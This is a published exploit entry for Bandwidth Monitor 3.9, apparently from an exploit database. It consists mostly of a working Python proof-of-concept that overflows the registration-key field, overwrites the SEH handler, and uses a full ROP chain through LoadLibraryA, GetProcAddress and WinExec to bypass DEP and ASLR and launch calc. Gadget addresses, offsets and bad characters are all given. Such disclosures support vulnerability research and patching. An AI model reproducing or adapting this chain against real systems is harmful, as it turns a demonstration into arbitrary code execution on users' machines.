Bandwidth Monitor 3.9 Full ROP Buffer Overflow

2020.06.10
Credit: Bobby Cooke
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-119

# Exploit Title: Bandwidth Monitor 3.9 - Full ROP Buffer Overflow (SEH,DEP,ASLR) # Exploit Author: Bobby Cooke # Date: June 7th, 2020 # Vendor Site: https://www.10-strike.com/ # Software Download: https://www.10-strike.com/bandwidth-monitor/bandwidth-monitor.exe # Tested On: Windows 10 - Pro 1909 (x86) # Version: version 3.9 # Exploit Details: # 1. Bypass SafeSEH by overwriting the Structured Exception Handler (SEH) with a Stack-Pivot return address located in the [BandMonitor.exe] memory-space; as it was not compiled with the SafeSEH Protection. # 2. The Stack-Pivot will land in a RET Sled; as the process's offset on the Stack is different every time. # - StackPivot lands at a different offset, 1:660; 2:644; 3:676; 4:692; 5:696; 6:688; 7:692 # 3. Bypass Address Space Layout Randomization (ASLR) & Data Execution Protection (DEP) using Return Orientation Programming (ROP), choosing Gadgets from the [ssleay32.dll], [BandMonitor.exe], and [LIBEAY32.dll]; as they are not compiled with Rebase or ASLR. # 4. A pointer to the LoadLibraryA symbol exists in the import table of the [LIBEAY32.dll] module. Use Gadgets to call LoadLibraryA and find the memory address of the [kernel.dll] module; as it is protected by ASLR and will be different every time the process runs. # 5. A pointer to the GetProcAddress symbol exists in the import table of the [LIBEAY32.dll] module. Use Gadgets to call GetProcAddress to find the memory address of the WinExec Symbol within [kernel32.dll]. # 6. Use Gadgets to call the WinExec Function and open calc. # - Bad Characters: \x00 => \x20 ; \x0D & \x0A => Truncates buffer # Recreate: # Turn On DEP: This PC > Properties > Advanced System Settings > Advanced > Performance > Settings > Data Execution Prevention > "Turn on DEP for all programs and services except those I select:" > OK > Restart # Install > Run Exploit > Copy buffer from poc.txt > Start BandMonitor > Help > Enter Reg Key > Paste > Exploit # Base | Top | Rebase | SafeSEH | ASLR | NXCompat | OS Dll | Modulename # ------------------------------------------------------------------------------------------- # 0x12000000 | 0x12057000 | False | True | False | False | False | [ssleay32.dll] # 0x00400000 | 0x01247000 | False | False | False | False | False | [BandMonitor.exe] # 0x11000000 | 0x11155000 | False | True | False | False | False | [LIBEAY32.dll] # ------------------------------------------------------------------------------------------- import struct OS_retSled = '\x41'*400 retSled = '\x24\x01\x06\x11'*100 #11060124 # retn [LIBEAY32.dll] {PAGE_EXECUTE_READ} def createRopChain(): ropGadgets = [ # HMODULE LoadLibraryA( LPCSTR lpLibFileName); # $ ==> > 1106905D CALL to LoadLibraryA # $+4 > 012428B4 FileName = "kernel32.dll" 0x012126f5, # POP EAX # RETN [BandMonitor.exe] 0x110e70bc, # kernel32!loadlibrarya [LIBEAY32.dll] 0x110495ef, # JMP [EAX] [LIBEAY32.dll] 0x1106905d, # PUSH EAX # POP ESI # RETN [LIBEAY32.dll] 0x012428B4, # &String = "kernel32.dll\x00" # EAX&ESI = &kernel32.dll # FARPROC GetProcAddress( HMODULE hModule, LPCSTR lpProcName); # $ ==> > 011D53D2 CALL to GetProcAddress # $+4 > 76C40000 hModule = (KERNEL32) # $+8 > 0014F6CC ProcNameOrOrdinal = "WinExec" 0x01226010, # PUSH ESP # AND AL, 4 # POP ECX # POP EDX # RETN [BandMonitor.exe] - [move esp -> ecx] 0xfffff2D4, # EDX = Offset2String; ECX = ESP 0x011d53d2, # xchg eax, ecx # ret [BandMonitor.exe] - eax=esp & ecx = "kernel32.dll\x00" 0x11061ea7, # sub eax, edx # ret [LIBEAY32.dll]- eax=&String="WinExec\d4" 0x1106905d, # push eax # pop esi # ret [LIBEAY32.dll] - ESI&EAX="WinExec\d4" 0x1107fc8a,0x1107fc8a,0x1107fc8a,0x1107fc8a,0x1107fc8a,0x1107fc8a,0x1107fc8a, # (INC EAX # RETN)*7 [LIBEAY32.dll] 0x011f282b, # xor [eax], dl # ret [BandMonitor.exe] - ESI="WinExec\x00" 0x01203a3b, # xchg eax, esi # ret [BandMonitor.exe] - EAX="WinExec\x00" 0x11084dca, # xchg eax, edx # ret [LIBEAY32.dll] - EDX="WinExec\x00" 0x012126f5, # POP EAX # RETN [BandMonitor.exe] 0x110e708c, # kernel32!getprocaddress [LIBEAY32.dll] 0x1109cdb9, # mov eax, ds:[eax] # ret [LIBEAY32.dll] - EAX = &GetProcAddress 0x1106CE04, # mov [esp+8], edx # mov [esp+4], ecx # jmp near eax 0x011d53d2, # xchg eax, ecx # ret [BandMonitor.exe] - ECX=&KERNEL32.WinExec 0xffffffff, # NOP - Overwritten by GetProcAddress Stack Setup 0xffffffff, # NOP - Overwritten by GetProcAddress Stack Setup # Call WinExec( CmdLine, ShowState ); # CmdLine = "calc" # ShowState = 0x00000001 = SW_SHOWNORMAL - displays a window 0x0106a762, # INC ESI # RETN [BandMonitor.exe] - ESI="calc\x" 0x01203a3b, # xchg eax, esi # ret [BandMonitor.exe] - EAX="calc\xff" 0x1106905d, # PUSH EAX # POP ESI # RETN [LIBEAY32.dll] - EAX&ESI="calc\xff" 0x1107fc8a,0x1107fc8a,0x1107fc8a,0x1107fc8a, # (INC EAX # RETN)*4 [LIBEAY32.dll] 0x01226014, # POP EDX # RETN [BandMonitor.exe] 0xffffffff, # dl = 0xff 0x011f282b, # xor [eax], dl # ret [BandMonitor.exe] - ESI="calc\x00" 0x01218952, # NEG EDX # RETN [BandMonitor.exe] - EDX=0x01 = SW_SHOWNORMAL 0x01203a3b, # xchg eax, esi # ret [BandMonitor.exe] - EAX="calc\x00" 0x1102ce1f, # xchg eax, ecx [LIBEAY32.dll] - ECX="calc\x00" = CmdLine - EAX=&KERNEL32.WinExec 0x1106CE04, # mov [esp+8], edx # mov [esp+4], ecx # jmp near eax 0x11060124 # retn [LIBEAY32.dll] - ROP NOP ] return ''.join(struct.pack('<I', _) for _ in ropGadgets) ropChain = createRopChain() OS_nSEH = '\x43'*(4188-len(OS_retSled+retSled+ropChain)) nSEH = '\x44'*4 # Stack pivot offset to controllable buffer: 1408 (0x580) bytes SEH = '\x70\x28\x21\x01' # 0x01212870 : {pivot 2064 / 0x810} WinExec = '\x57\x69\x6e\x45' # WinE WinExec += '\x78\x65\x63\xd4' # xec. calc = '\x63\x61\x6c\x63' # calc calc += '\xff\x42\x42\x42' # .... extra = '\x44'*2000 buffer = OS_retSled + retSled + ropChain + OS_nSEH + nSEH + SEH + WinExec + calc + extra File = 'poc.txt' try: payload = buffer f = open(File, 'w') f.write(payload) f.close() print File + " created successfully" except: print File + ' failed to create'


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